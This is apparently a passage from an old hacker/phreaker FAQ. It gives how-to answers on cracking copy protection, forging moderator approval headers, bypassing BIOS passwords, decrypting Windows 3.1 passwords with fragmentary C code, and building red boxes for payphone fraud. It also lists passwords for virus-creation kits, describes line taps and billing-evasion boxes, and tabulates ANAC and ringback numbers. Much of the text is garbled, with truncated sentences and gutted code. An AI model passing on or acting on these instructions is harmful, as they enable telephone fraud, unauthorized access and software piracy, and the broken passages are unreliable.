Anonymous Usenet posting is frowned upon by other users of Usenet groups
claiming their opinions are worthless. This is because they believe
anonymity is used to shield ones self from attacks from opponents, while
on the other hand it can be used to protect ones self from social
prejudice (or people reporting ones opinions to ones superiors). Also
if you are thinking this is a useful tool to use to hid against the
authorities then think again, as there was a famous case where a Judge
ordered the administrator of the server to reveal the identity of a

To see a comprehensive list on anonymous remailers finger
remailer-list@kiwi.cs.berkeley.edu or point your web browser to

33. How do I defeat Copy Protection?

There are two common methods of defeating copy protection. The first
is to use a program that removes copy protection. Popular programs
that do this are CopyIIPC from Central Point Software and CopyWrite
from Quaid Software. The second method involves patching the copy
protected program. For popular software, you may be able to locate a
ready made patch. You can them apply the patch using any hex editor,
such as debug or the Peter Norton's DiskEdit. If you cannot, you must
patch the software yourself.

Writing a patch requires a debugger, such as Soft-Ice or Sourcer. It
also requires some knowledge of assembly language. Load the protected
program under the debugger and watch for it to check the protection
mechanism. When it does, change that portion of the code. The code
can be changed from JE (Jump on Equal) or JNE (Jump On Not Equal) to
JMP (Jump Unconditionally). Or the code may simply be replaced with
NOP (No Operation) instructions.

34. What is is a loopback network connection. If you telnet, ftp, etc...
to it you are connected to your own machine.

35. How do I post to a moderated newsgroup?

Usenet messages consist of message headers and message bodies. The
message header tells the news software how to process the message.
Headers can be divided into two types, required and optional. Required
headers are ones like "From" and "Newsgroups." Without the required
headers, your message will not be posted properly.

One of the optional headers is the "Approved" header. To post to a
moderated newsgroup, simply add an Approved header line to your
message header. The header line should contain the newsgroup
moderators e-mail address. To see the correct format for your target
newsgroup, save a message from the newsgroup and then look at it using
any text editor.

A "Approved" header line should look like this:

Approved: will@gnu.ai.mit.edu

There cannot not be a blank line in the message header. A blank line
will cause any portion of the header after the blank line to be
interpreted as part of the message body.

For more information, read RFC 1036: Standard for Interchange of
USENET messages.

36. How do I post to Usenet via e-mail?

Through an e-mail->Usenet gateway. Send an a e-mail messages to
<newsgroup>@<servername>. For example, to post to alt.2600 through
nic.funet.fi, address your mail to alt.2600@nic.funet.fi.

Here are a few e-mail->Usenet gateways:


37. How do I defeat a BIOS password?

This depends on what BIOS the machine has. Common BIOS's include AMI,
Award, IBM and Phoenix. Numerous other BIOS's do exist, but these are
the most common.

Some BIOS's allow you to require a password be entered before the system
will boot. Some BIOS's allow you to require a password to be entered
before the BIOS setup may be accessed.

Every BIOS must store this password information somewhere. If you are
able to access the machine after it has been booted successfully, you
may be able to view the password. You must know the memory address
where the password is stored, and the format in which the password is
stored. Or, you must have a program that knows these things.

The most common BIOS password attack programs are for Ami BIOS. Some
password attack programs will return the AMI BIOS password in plain
text, some will return it in ASCII codes, some will return it in scan
codes. This appears to be dependent not just on the password attacker,
but also on the version of Ami BIOS.

To obtain Ami BIOS password attackers, ftp to oak.oakland.edu

If you cannot access the machine after if has been powered up, it is
still possible to get past the password. The password is stored in CMOS
memory that is maintained while the PC is powered off by a small
battery, which is attached to the motherboard. If you remove this
battery, all CMOS information will be lost. You will need to re-enter
the correct CMOS setup information to use the machine. The machines
owner or user will most likely be alarmed when it is discovered that the
BIOS password has been deleted.

On some motherboards, the battery is soldered to the motherboard, making
it difficult to remove. If this is the case, you have another
alternative. Somewhere on the motherboard you should find a jumper that
will clear the BIOS password. If you have the motherboard
documentation, you will know where that jumper is. If not, the jumper
may be labeled on the motherboard. If you are not fortunate enough for
either of these to be the case, you may be able to guess which jumper is
the correct jumper. This jumper is usually standing alone near the

38. What is the password for <encrypted file>?

This FAQ answer was written by crypt <crypt@nyongwa.montreal.qc.ca>

Magazine Password
~~~~~~~~~~~~~~~~~~~~~~~~~~~~ ~~~~~~~~~~~
VLAD Magazine Issue #1 vlad
VLAD Magazine Issue #2 vx
VLAD Magazine Issue #3 virus
NuKE InfoJournal Issue #2 514738
NuKE InfoJournal Issue #3 power
NuKE InfoJournal Issue #4 party

~~~~~~~~~~~~~~~~~~~~~~~~~~~~ ~~~~~~~~~~~
Sphere Hacker 1.40 & 1.41 theozone
Virus Creation 2000 high level
Virus Construction Lab Chiba City
Ejecutor Virus Creator EJECUTOR
Biological Warfare v0.90 lo tek
Biological Warfare v1.00 freak

39. Is there any hope of a decompiler that would convert an executable

program into C/C++ code?

This FAQ answer is an excerpt from SNIPPETS by Bob Stout.

Don't hold your breath. Think about it... For a decompiler to work
properly, either 1) every compiler would have to generate substantially
identical code, even with full optimization turned on, or 2) it would
have to recognize the individual output of every compiler's code

If the first case were to be correct, there would be no more need for
compiler benchmarks since every one would work the same. For the second
case to be true would require in immensely complex program that had to
change with every new compiler release.

OK, so what about specific decompilers for specific compilers - say a
decompiler designed to only work on code generated by, say, BC++ 4.5?
This gets us right back to the optimization issue. Code written for
clarity and understandability is often inefficient. Code written for
maximum performance (speed or size) is often cryptic (at best!) Add to
this the fact that all modern compilers have a multitude of optimization
switches to control which optimization techniques to enable and which to
avoid. The bottom line is that, for a reasonably large, complex source
module, you can get the compiler to produce a number of different object
modules simply by changing your optimization switches, so your
decompiler will also have to be a deoptimizer which can automagically
recognize which optimization strategies were enabled at compile time.

OK, let's simplify further and specify that you only want to support one
specific compiler and you want to decompile to the most logical source
code without trying to interpret the optimization. What then? A good
optimizer can and will substantially rewrite the internals of your code,
so what you get out of your decompiler will be, not only cryptic, but in
many cases, riddled with goto statements and other no-no's of good
coding practice. At this point, you have decompiled source, but what
good is it?

Also note carefully my reference to source modules. One characteristic
of C is that it becomes largely unreadable unless broken into easily
maintainable source modules (.C files). How will the decompiler deal
with that? It could either try to decompile the whole program into some
mammoth main() function, losing all modularity, or it could try to place
each called function into its own file. The first way would generate
unusable chaos and the second would run into problems where the original
source hade files with multiple functions using static data and/or one
or more functions calling one or more static functions. A decompiler
could make static data and/or functions global but only at the expense
or readability (which would already be unacceptable).

Finally, remember that commercial applications often code the most
difficult or time-critical functions in assembler which could prove
almost impossible to decompile into a C equivalent.

Like I said, don't hold your breath. As technology improves to where
decompilers may become more feasible, optimizers and languages (C++, for
example, would be a significantly tougher language to decompile than C)
also conspire to make them less likely.

For years Unix applications have been distributed in shrouded source
form (machine but not human readable -- all comments and whitespace
removed, variables names all in the form OOIIOIOI, etc.), which has been
a quite adequate means of protecting the author's rights. It's very
unlikely that decompiler output would even be as readable as shrouded

40. How does the MS-Windows password encryption work?

This FAQ answer was written by Wayne Hoxsie <hoxsiew@crl.com>

The password option in MS Win 3.1 is easily defeated, but there are
those of us who really want to know how MS does this. There are many
reasons why knowing the actual password can be useful. Suppose a
sysamin used the same password in the windows screen saver as his root
account on a unix box.

Anyway, I will attempt to relay what I have learned about this algorithm.

I will describe the process starting after you've entered the password
and hit the [OK] button.

I will make the assumtion that everyone (at least those interested) know
what the XOR operation is.

First, the length of the password is saved. We'll call this 'len'. We
will be moving characters from the entered string into another string as
they are encrypted. We'll call the originally entered password
'plaintext' and the encrypted string(strings--there are two passes)
'hash1' and 'hash2.' The position in the plaintext is important during
the process so we'll refer to this as 'pos.' After each step of the
hashing process, the character is checked against a set of characters
that windows considers 'special.' These characters are '[ ] =' and any
character below ASCII 33 or above ASCII 126. I'll refer to this
checking operation as 'is_ok.' All indecies are zero-based (i.e. an 8
character password is considered chars 0 to 7).

Now, the first character of 'plaintext' is xor'd with 'len' then fed to
'is_ok'. if the character is not valid, it is replaced by the original
character of 'plaintext' before going to the next operation. The next
operation is to xor with 'pos' (this is useless for the first operation
since 'len' is 0 and anything xor'd with zero is itself) then fed to
'is_ok' and replaced with the original if not valid. The final
operation (per character) is to xor it with the previous character of
'plaintext'. Since there is no previous character, the fixed value, 42,
is used on the first character of 'plaintext'. This is then fed to
'is_ok' and if OK, it is stored into the first position of 'hash1' This
process proceeds until all characters of plaintext are exhausted.

The second pass is very similar, only now, the starting point is the
last character in hash1 and the results are placed into hash2 from the
end to the beginning. Also, instead of using the previous character in
the final xoring, the character following the current character is used.
Since there is no character following the last character in hash1, the
value, 42 is again used for the last character.

'hash2' is the final string and this is what windows saves in the file

To 'decrypt' the password, the above procedure is just reversed.

Now, what you've all been waiting for. Here is some C code that will do
the dirty work for you:

#include <stdlib.h>
#include <stdio.h>
#include <string.h>

int xor1(int i,int j)
int x;

return (x>126||x<33||x==91||x==93||x==61)?i:x;
void main()
FILE *f;
int i,l;
char s[80],s1[80];

printf("Please enter the path to your Windows directory\n");
printf("File Error : %s\n",sys_errlist[errno]);
printf("The Password is: %s\n",s);

Section B: Telephony


01. What is a Red Box?

When a coin is inserted into a payphone, the payphone emits a set of
tones to ACTS (Automated Coin Toll System). Red boxes work by fooling
ACTS into believing you have actually put money into the phone. The
red box simply plays the ACTS tones into the telephone microphone.
ACTS hears those tones, and allows you to place your call. The actual
tones are:

Nickel Signal 1700+2200hz 0.060s on
Dime Signal 1700+2200hz 0.060s on, 0.060s off, twice repeating
Quarter Signal 1700+2200hz 33ms on, 33ms off, 5 times repeating

Canada uses a variant of ACTSD called N-ACTS. N-ACTS uses different
tones than ACTS. In Canada, the tones to use are:

Nickel Signal 2200hz 0.060s on
Dime Signal 2200hz 0.060s on, 0.060s off, twice repeating
Quarter Signal 2200hz 33ms on, 33ms off, 5 times repeating

02. How do I build a Red Box?

Red boxes are commonly manufactured from modified Radio Shack tone
dialers, Hallmark greeting cards, or made from scratch from readily
available electronic components.

To make a Red Box from a Radio Shack 43-141 or 43-146 tone dialer, open
the dialer and replace the crystal with a new one. The purpose of the
new crystal is to cause the * button on your tone dialer to create a
1700Mhz and 2200Mhz tone instead of the original 941Mhz and 1209Mhz
tones. The exact value of the replacement crystal should be 6.466806 to
create a perfect 1700Mhz tone and 6.513698 to create a perfect 2200mhz
tone. A crystal close to those values will create a tone that easily
falls within the loose tolerances of ACTS. The most popular choice is
the 6.5536Mhz crystal, because it is the easiest to procure. The old
crystal is the large shiny metal component labeled "3.579545Mhz." When
you are finished replacing the crystal, program the P1 button with five
*'s. That will simulate a quarter tone each time you press P1.

03. Where can I get a 6.5536Mhz crystal?

Your best bet is a local electronics store. Radio Shack sells them, but
they are overpriced and the store must order them in. This takes
approximately two weeks. In addition, many Radio Shack employees do not
know that this can be done.

Or, you could order the crystal mail order. This introduces Shipping
and Handling charges, which are usually much greater than the price of
the crystal. It's best to get several people together to share the S&H
cost. Or, buy five or six yourself and sell them later. Some of the
places you can order crystals are:

701 Brooks Avenue South
P.O. Box 677
Thief River Falls, MN 56701-0677
Part Number:X415-ND /* Note: 6.500Mhz and only .197 x .433 x .149! */
Part Number:X018-ND

JDR Microdevices:
2233 Branham Lane
San Jose, CA 95124
Part Number: 6.5536MHZ

Tandy Express Order Marketing
401 NE 38th Street
Fort Worth, TX 76106
Part Number: 10068625

2300 Zanker Road
San Jose CA 95131
(408)943-9774 Voice
(408)943-9776 Fax
(408)943-0622 BBS
Part Number: 92A057

Part Number: 332-1066

Blue Saguaro
P.O. Box 37061
Tucson, AZ 85740
Part Number: 1458b

Unicorn Electronics
10000 Canoga Ave, Unit c-2
Chatsworth, CA 91311
Phone: 1-800-824-3432
Part Number: CR6.5

04. Which payphones will a Red Box work on?

Red Boxes will work on telco owned payphones, but not on COCOT's
(Customer Owned Coin Operated Telephones).

Red boxes work by fooling ACTS (Automated Coin Toll System) into
believing you have put money into the pay phone. ACTS is the
telephone company software responsible for saying "Please deposit XX
cents" and listening for the coins being deposited.

COCOT's do not use ACTS. On a COCOT, the pay phone itself is
responsible for determining what coins have been inserted.

05. How do I make local calls with a Red Box?

Payphones do not use ACTS for local calls. To use your red box for
local calls, you have to fool ACTS into getting involved in the call.

One way to do this, in some areas, is by dialing 10288-xxx-xxxx. This
makes your call a long distance call, and brings ACTS into the

In other areas, you can call Directory Assistance and ask for the
number of the person you are trying to reach. The operator will give
you the number and then you will hear a message similar to "Your call
can be completed automatically for an additional 35 cents." When this
happens, you can then use ACTS tones.

06. What is a Blue Box?

Blue boxes use a 2600hz tone to size control of telephone switches
that use in-band signalling. The caller may then access special
switch functions, with the usual purpose of making free long distance
phone calls, using the tones provided by the Blue Box.

07. Do Blue Boxes still work?

This FAQ answer is excerpted from a message posted to Usenet by
Marauder of the Legion of Doom:

Somewhere along the line I have seen reference to something
similar to "Because of ESS Blue boxing is impossible". This is
incorrect. When I lived in Connecticut I was able to blue box
under Step by Step, #1AESS, and DMS-100. The reason is simple,
even though I was initiating my call to an 800 number from a
different exchange (Class 5 office, aka Central Office) in each
case, when the 800 call was routed to the toll network it would
route through the New Haven #5 Crossbar toll Tandem office. It
just so happens that the trunks between the class 5 (CO's) and
the class 4 (toll office, in this case New Haven #5 Xbar),
utilized in-band (MF) signalling, so regardless of what I
dialed, as long as it was an Inter-Lata call, my call would
route through this particular set of trunks, and I could Blue
box until I was blue in the face. The originating Central
Offices switch (SXS/ESS/Etc..) had little effect on my ability
to box at all. While the advent of ESS (and other electronic
switches) has made the blue boxers task a bit more difficult,
ESS is not the reason most of you are unable to blue box. The
main culprit is the "forward audio mute" feature of CCIS (out of
band signalling). Unfortunately for the boxer 99% of the Toll
Completion centers communicate using CCIS links, This spells
disaster for the blue boxer since most of you must dial out of
your local area to find trunks that utilize MF signalling, you
inevitably cross a portion of the network that is CCIS equipped,
you find an exchange that you blow 2600hz at, you are rewarded
with a nice "winkstart", and no matter what MF tones you send at
it, you meet with a re-order. This is because as soon as you
seized the trunk (your application of 2600hz), your Originating
Toll Office sees this as a loss of supervision at the
destination, and Mutes any further audio from being passed to
the destination (ie: your waiting trunk!). You meet with a
reorder because the waiting trunk never "hears" any of the MF
tones you are sending, and it times out. So for the clever
amongst you, you must somehow get yourself to the 1000's of
trunks out there that still utilize MF signalling but
bypass/disable the CCIS audio mute problem. (Hint: Take a close
look at WATS extenders).

08. What is a Black Box?

A Black Box is a resistor (and often capacitor in parallel) placed in
series across your phone line to cause the phone company equipment to be
unable to detect that you have answered your telephone. People who call
you will then not be billed for the telephone call. Black boxes do not
work under ESS.

09. What do all the colored boxes do?

Acrylic Steal Three-Way-Calling, Call Waiting and programmable
Call Forwarding on old 4-wire phone systems
Aqua Drain the voltage of the FBI lock-in-trace/trap-trace
Beige Lineman's hand set
Black Allows the calling party to not be billed for the call
Blast Phone microphone amplifier
Blotto Supposedly shorts every phone out in the immediate area
Blue Emulate a true operator by seizing a trunk with a 2600hz
Brown Create a party line from 2 phone lines
Bud Tap into your neighbors phone line
Chartreuse Use the electricity from your phone line
Cheese Connect two phones to create a diverter
Chrome Manipulate Traffic Signals by Remote Control
Clear A telephone pickup coil and a small amp used to make free
calls on Fortress Phones
Color Line activated telephone recorder
Copper Cause crosstalk interference on an extender
Crimson Hold button
Dark Re-route outgoing or incoming calls to another phone
Dayglo Connect to your neighbors phone line
Diverter Re-route outgoing or incoming calls to another phone
DLOC Create a party line from 2 phone lines
Gold Dialout router
Green Emulate the Coin Collect, Coin Return, and Ringback tones
Infinity Remotely activated phone tap
Jack Touch-Tone key pad
Light In-use light
Lunch AM transmitter
Magenta Connect a remote phone line to another remote phone line
Mauve Phone tap without cutting into a line
Neon External microphone
Noise Create line noise
Olive External ringer
Party Create a party line from 2 phone lines
Pearl Tone generator
Pink Create a party line from 2 phone lines
Purple Telephone hold button
Rainbow Kill a trace by putting 120v into the phone line (joke)
Razz Tap into your neighbors phone
Red Make free phone calls from pay phones by generating
quarter tones
Rock Add music to your phone line
Scarlet Cause a neighbors phone line to have poor reception
Silver Create the DTMF tones for A, B, C and D
Static Keep the voltage on a phone line high
Switch Add hold, indicator lights, conferencing, etc..
Tan Line activated telephone recorder
Tron Reverse the phase of power to your house, causing your
electric meter to run slower
TV Cable "See" sound waves on your TV
Urine Create a capacitative disturbance between the ring and
tip wires in another's telephone headset
Violet Keep a payphone from hanging up
White Portable DTMF keypad
Yellow Add an extension phone

Box schematics may be retrieved from these FTP sites:

ftp.netcom.com /pub/br/bradleym
ftp.netcom.com /pub/va/vandal
ftp.winternet.com /users/nitehwk

10. What is an ANAC number?

An ANAC (Automatic Number Announcement Circuit) number is a telephone
number that plays back the number of the telephone that called it.
ANAC numbers are convenient if you want to know the telephone number
of a pair of wires.

11. What is the ANAC number for my area?

How to find your ANAC number:

Look up your NPA (Area Code) and try the number listed for it. If that
fails, try 1 plus the number listed for it. If that fails, try the
common numbers like 311, 958 and 200-222-2222. If you find the ANAC
number for your area, please let us know.

Note that many times the ANAC number will vary for different switches
in the same city. The geographic naming on the list is NOT intended
to be an accurate reference for coverage patterns, it is for
convenience only.

Many companies operate 800 number services which will read back to you
the number from which you are calling. Many of these require navigating
a series of menus to get the phone number you are looking for. Please
use local ANAC numbers if you can, as overuse or abuse can kill 800 ANAC

N (800)425-6256 VRS Billing Systems/Integretel (800)4BLOCKME
(800)568-3197 Info Access Telephone Company's Automated Blocking Line
(800)692-6447 (800)MY-ANI-IS (Now protected by a passcode!)
N (800)858-9857 AT&T True Rewards

A non-800 ANAC that works nationwide is 404-988-9664. The one catch
with this number is that it must be dialed with the AT&T Carrier Access
Code 10732. Use of this number does not appear to be billed.

Note: These geographic areas are for reference purposes only. ANAC
numbers may vary from switch to switch within the same city.

NPA ANAC number Approximate Geographic area
--- --------------- ---------------------------------------------
201 958 Hackensack/Jersey City/Newark/Paterson, NJ
202 811 District of Columbia
203 970 CT
205 300-222-2222 Birmingham, AL
205 300-555-5555 Many small towns in AL
205 300-648-1111 Dora, AL
205 300-765-4321 Bessemer, AL
205 300-798-1111 Forestdale, AL
205 300-833-3333 Birmingham
205 557-2311 Birmingham, AL
205 811 Pell City/Cropwell/Lincoln, AL
205 841-1111 Tarrant, AL
205 908-222-2222 Birmingham, AL
206 411 WA (Not US West)
207 958 ME
209 830-2121 Stockton, CA
209 211-9779 Stockton, CA
210 830 Brownsville/Laredo/San Antonio, TX
N 210 951 Brownsville/Laredo/San Antonio, TX (GTE)
212 958 Manhattan, NY
213 114 Los Angeles, CA (GTE)
213 1223 Los Angeles, CA (Some 1AESS switches)
213 211-2345 Los Angeles, CA (English response)
213 211-2346 Los Angeles, CA (DTMF response)
213 760-2??? Los Angeles, CA (DMS switches)
213 61056 Los Angeles, CA
214 570 Dallas, TX
214 790 Dallas, TX (GTE)
214 970-222-2222 Dallas, TX
214 970-611-1111 Dallas, TX (Southwestern Bell)
215 410-xxxx Philadelphia, PA
215 511 Philadelphia, PA
215 958 Philadelphia, PA
216 200-XXXX Akron/Canton/Cleveland/Lorain/Youngstown, OH
216 331 Akron/Canton/Cleveland/Lorain/Youngstown, OH
216 959-9892 Akron/Canton/Cleveland/Lorain/Youngstown, OH
217 200-xxx-xxxx Champaign-Urbana/Springfield, IL
219 550 Gary/Hammond/Michigan City/Southbend, IN
219 559 Gary/Hammond/Michigan City/Southbend, IN
N 301 2002006969 Hagerstown/Rockville, MD
301 958-9968 Hagerstown/Rockville, MD
303 958 Aspen/Boulder/Denver/Durango/Grand Junction
/Steamboat Springs, CO
N 305 200-555-1212 Ft. Lauderdale/Key West/Miami, FL
N 305 200200200200200 Ft. Lauderdale/Key West/Miami, FL
N 305 780-2411 Ft. Lauderdale/Key West/Miami, FL
310 114 Long Beach, CA (On many GTE switches)
310 1223 Long Beach, CA (Some 1AESS switches)
310 211-2345 Long Beach, CA (English response)
310 211-2346 Long Beach, CA (DTMF response)
312 200 Chicago, IL
312 290 Chicago, IL
312 1-200-8825 Chicago, IL (Last four change rapidly)
312 1-200-555-1212 Chicago, IL
313 200-200-2002 Ann Arbor/Dearborn/Detroit, MI
313 200-222-2222 Ann Arbor/Dearborn/Detroit, MI
313 200-xxx-xxxx Ann Arbor/Dearborn/Detroit, MI
313 200200200200200 Ann Arbor/Dearborn/Detroit, MI
314 410-xxxx# Columbia/Jefferson City/St.Louis, MO
315 953 Syracuse/Utica, NY
315 958 Syracuse/Utica, NY
315 998 Syracuse/Utica, NY
317 310-222-2222 Indianapolis/Kokomo, IN
317 559-222-2222 Indianapolis/Kokomo, IN
317 743-1218 Indianapolis/Kokomo, IN
334 5572411 Montgomery, AL
334 5572311 Montgomery, AL
401 200-200-4444 RI
401 222-2222 RI
402 311 Lincoln, NE
404 311 Atlanta, GA
N 770 780-2311 Atlanta, GA
404 940-xxx-xxxx Atlanta, GA
404 990 Atlanta, GA
405 890-7777777 Enid/Oklahoma City, OK
405 897 Enid/Oklahoma City, OK
U 407 200-222-2222 Orlando/West Palm Beach, FL (Bell South)
N 407 520-3111 Orlando/West Palm Beach, FL (United)
408 300-xxx-xxxx San Jose, CA
408 760 San Jose, CA
408 940 San Jose, CA
409 951 Beaumont/Galveston, TX
409 970-xxxx Beaumont/Galveston, TX
410 200-6969 Annapolis/Baltimore, MD
N 410 200-200-6969 Annapolis/Baltimore, MD
410 200-555-1212 Annapolis/Baltimore, MD
410 811 Annapolis/Baltimore, MD
412 711-6633 Pittsburgh, PA
412 711-4411 Pittsburgh, PA
412 999-xxxx Pittsburgh, PA
413 958 Pittsfield/Springfield, MA
413 200-555-5555 Pittsfield/Springfield, MA
414 330-2234 Fond du Lac/Green Bay/Milwaukee/Racine, WI
415 200-555-1212 San Francisco, CA
415 211-2111 San Francisco, CA
415 2222 San Francisco, CA
415 640 San Francisco, CA
415 760-2878 San Francisco, CA
415 7600-2222 San Francisco, CA
419 311 Toledo, OH
N 423 200-200-200 Chatanooga, Johnson City, Knoxville , TN
N 501 511 AR
502 2002222222 Frankfort/Louisville/Paducah/Shelbyville, KY
502 997-555-1212 Frankfort/Louisville/Paducah/Shelbyville, KY
503 611 Portland, OR
503 999 Portland, OR (GTE)
504 99882233 Baton Rouge/New Orleans, LA
504 201-269-1111 Baton Rouge/New Orleans, LA
504 998 Baton Rouge/New Orleans, LA
504 99851-0000000000 Baton Rouge/New Orleans, LA
508 958 Fall River/New Bedford/Worchester, MA
508 200-222-1234 Fall River/New Bedford/Worchester, MA
508 200-222-2222 Fall River/New Bedford/Worchester, MA
508 26011 Fall River/New Bedford/Worchester, MA
509 560 Spokane/Walla Walla/Yakima, WA
510 760-1111 Oakland, CA
512 830 Austin/Corpus Christi, TX
512 970-xxxx Austin/Corpus Christi, TX
N 513 380-55555555 Cincinnati/Dayton, OH
515 5463 Des Moines, IA
515 811 Des Moines, IA
516 958 Hempstead/Long Island, NY
516 968 Hempstead/Long Island, NY
517 200-222-2222 Bay City/Jackson/Lansing, MI
517 200200200200200 Bay City/Jackson/Lansing, MI
518 511 Albany/Schenectady/Troy, NY
518 997 Albany/Schenectady/Troy, NY
518 998 Albany/Schenectady/Troy, NY
N 540 211 Roanoke, VA (GTE)
N 540 311 Roanoke, VA (GTE)
N 541 200 Bend, OR
603 200-222-2222 NH
606 997-555-1212 Ashland/Winchester, KY
606 711 Ashland/Winchester, KY
607 993 Binghamton/Elmira, NY
609 958 Atlantic City/Camden/Trenton/Vineland, NJ
610 958 Allentown/Reading, PA
610 958-4100 Allentown/Reading, PA
612 511 Minneapolis/St.Paul, MN
614 200 Columbus/Steubenville, OH
614 571 Columbus/Steubenville, OH
615 200200200200200 Chatanooga/Knoxville/Nashville, TN
615 2002222222 Chatanooga/Knoxville/Nashville, TN
615 830 Nashville, TN
616 200-222-2222 Battle Creek/Grand Rapids/Kalamazoo, MI
617 200-222-1234 Boston, MA
617 200-222-2222 Boston, MA
617 200-444-4444 Boston, MA (Woburn, MA)
617 220-2622 Boston, MA
617 958 Boston, MA
618 200-xxx-xxxx Alton/Cairo/Mt.Vernon, IL
618 930 Alton/Cairo/Mt.Vernon, IL
619 211-2001 San Diego, CA
619 211-2121 San Diego, CA
N 659 220-2622 Newmarket, NH
N 703 211 VA
N 703 511-3636 Culpeper/Orange/Fredericksburg, VA
703 811 Alexandria/Arlington/Roanoke, VA
704 311 Asheville/Charlotte, NC
N 706 940-xxxx Augusta, GA
707 211-2222 Eureka, CA
708 1-200-555-1212 Chicago/Elgin, IL
708 1-200-8825 Chicago/Elgin, IL (Last four change rapidly)
708 200-6153 Chicago/Elgin, IL
708 724-9951 Chicago/Elgin, IL
713 380 Houston, TX
713 970-xxxx Houston, TX
713 811 Humble, TX
N 713 380-5555-5555 Houston, TX
714 114 Anaheim, CA (GTE)
714 211-2121 Anaheim, CA (PacBell)
714 211-2222 Anaheim, CA (Pacbell)
N 714 211-7777 Anaheim, CA (Pacbell)
716 511 Buffalo/Niagara Falls/Rochester, NY (Rochester Tel)
716 990 Buffalo/Niagara Falls/Rochester, NY (Rochester Tel)
717 958 Harrisburg/Scranton/Wilkes-Barre, PA
718 958 Bronx/Brooklyn/Queens/Staten Island, NY
N 770 940-xxx-xxxx Marietta/Norcross, GA
N 770 780-2311 Marietta/Norcross, GA
802 2-222-222-2222 Vermont
802 200-222-2222 Vermont
802 1-700-222-2222 Vermont
802 111-2222 Vermont
N 804 990 Virginia Beach, VA
805 114 Bakersfield/Santa Barbara, CA
805 211-2345 Bakersfield/Santa Barbara, CA
805 211-2346 Bakersfield/Santa Barbara, CA (Returns DTMF)
805 830 Bakersfield/Santa Barbara, CA
806 970-xxxx Amarillo/Lubbock, TX
810 200200200200200 Flint/Pontiac/Southfield/Troy, MI
N 810 311 Pontiac/Southfield/Troy, MI
812 410-555-1212 Evansville, IN
813 311 Ft. Meyers/St. Petersburg/Tampa, FL
N 815 200-3374 Crystal Lake, IL
N 815 270-3374 Crystal Lake, IL
N 815 770-3374 Crystal Lake, IL
815 200-xxx-xxxx La Salle/Rockford, IL
815 290 La Salle/Rockford, IL
817 211 Ft. Worth/Waco, TX
817 970-611-1111 Ft. Worth/Waco, TX (Southwestern Bell)
818 1223 Pasadena, CA (Some 1AESS switches)
818 211-2345 Pasadena, CA (English response)
818 211-2346 Pasadena, CA (DTMF response)
N 860 970 CT
903 970-611-1111 Tyler, TX
904 200-222-222 Jackonsville/Pensacola/Tallahasee, FL
906 1-200-222-2222 Marquette/Sault Ste. Marie, MI
907 811 AK
908 958 New Brunswick, NJ
N 909 111 Riverside/San Bernardino, CA (GTE)
910 200 Fayetteville/Greensboro/Raleigh/Winston-Salem, NC
910 311 Fayetteville/Greensboro/Raleigh/Winston-Salem, NC
910 988 Fayetteville/Greensboro/Raleigh/Winston-Salem, NC
914 990-1111 Peekskill/Poughkeepsie/White Plains/Yonkers, NY
915 970-xxxx Abilene/El Paso, TX
N 916 211-0007 Sacramento, CA (Pac Bell)
916 461 Sacramento, CA (Roseville Telephone)
919 200 Durham, NC
919 711 Durham, NC
N 954 200-555-1212 Ft. Lauderdale, FL
N 954 200200200200200 Ft. Lauderdale, FL
N 954 780-2411 Ft. Lauderdale, FL

204 644-4444 Manitoba
306 115 Saskatchewan
403 311 Alberta, Yukon and N.W. Territory
403 908-222-2222 Alberta, Yukon and N.W. Territory
403 999 Alberta, Yukon and N.W. Territory
416 997-xxxx Toronto, Ontario
506 1-555-1313 New Brunswick
514 320-xxxx Montreal, Quebec
U 514 320-1232 Montreal, Quebec
U 514 320-1223 Montreal, Quebec
U 514 320-1233 Montreal, Quebec
519 320-xxxx London, Ontario
604 1116 British Columbia
604 1211 British Columbia
604 211 British Columbia
613 320-2232 Ottawa, Ontario
705 320-4567 North Bay/Saulte Ste. Marie, Ontario
N 819 320-1112 Quebec

+61 03-552-4111 Victoria 03 area
+612 19123 All major capital cities
+612 11544

United Kingdom:


12. What is a ringback number?

A ringback number is a number that you call that will immediately
ring the telephone from which it was called.

In most instances you must call the ringback number, quickly hang up
the phone for just a short moment and then let up on the switch, you
will then go back off hook and hear a different tone. You may then
hang up. You will be called back seconds later.

13. What is the ringback number for my area?

An 'x' means insert those numbers from the phone number from which you
are calling. A '?' means that the number varies from switch to switch
in the area, or changes from time to time. Try all possible

If the ringback for your NPA is not listed, try common ones such as 114,
951-xxx-xxxx, 954, 957 and 958. Also, try using the numbers listed for
other NPA's served by your telephone company.

Note: These geographic areas are for reference purposes only. Ringback
numbers may vary from switch to switch within the same city.

NPA Ringback number Approximate Geographic area
--- --------------- ---------------------------------------------
201 55?-xxxx Hackensack/Jersey City/Newark/Paterson, NJ
202 958-xxxx District of Columbia
203 99?-xxxx CT
206 571-xxxx WA
N 208 59X-xxxx ID
208 99xxx-xxxx ID
N 210 211-8849-xxxx Brownsville/Laredo/San Antonio, TX (GTE)
213 1-95x-xxxx Los Angeles, CA
N 214 971-xxxx Dallas, TX
215 811-xxxx Philadelphia, PA
216 551-xxxx Akron/Canton/Cleveland/Lorain/Youngstown, OH
219 571-xxx-xxxx Gary/Hammond/Michigan City/Southbend, IN
219 777-xxx-xxxx Gary/Hammond/Michigan City/Southbend, IN
301 579-xxxx Hagerstown/Rockville, MD
301 958-xxxx Hagerstown/Rockville, MD
303 99X-xxxx Grand Junction, CO
304 998-xxxx WV
305 999-xxxx Ft. Lauderdale/Key West/Miami, FL
312 511-xxxx Chicago, IL
312 511-xxx-xxxx Chicago, IL
312 57?-xxxx Chicago, IL
315 98x-xxxx Syracuse/Utica, NY
317 777-xxxx Indianapolis/Kokomo, IN
317 yyy-xxxx Indianapolis/Kokomo, IN (y=3rd digit of phone number)
319 79x-xxxx Davenport/Dubuque, Iowa
334 901-xxxx Montgomery, AL
401 98?-xxxx RI
404 450-xxxx Atlanta, GA
407 988-xxxx Orlando/West Palm Beach, FL
408 470-xxxx San Jose, CA
408 580-xxxx San Jose, CA
412 985-xxxx Pittsburgh, PA
414 977-xxxx Fond du Lac/Green Bay/Milwaukee/Racine, WI
414 978-xxxx Fond du Lac/Green Bay/Milwaukee/Racine, WI
415 350-xxxx San Francisco, CA
417 551-xxxx Joplin/Springfield, MO
501 221-xxx-xxxx AR
501 721-xxx-xxxx AR
502 988 Frankfort/Louisville/Paducah/Shelbyville, KY
503 541-XXXX OR
504 99x-xxxx Baton Rouge/New Orleans, LA
504 9988776655 Baton Rouge/New Orleans, LA
505 59?-xxxx New Mexico
512 95X-xxxx Austin, TX
513 951-xxxx Cincinnati/Dayton, OH
513 955-xxxx Cincinnati/Dayton, OH
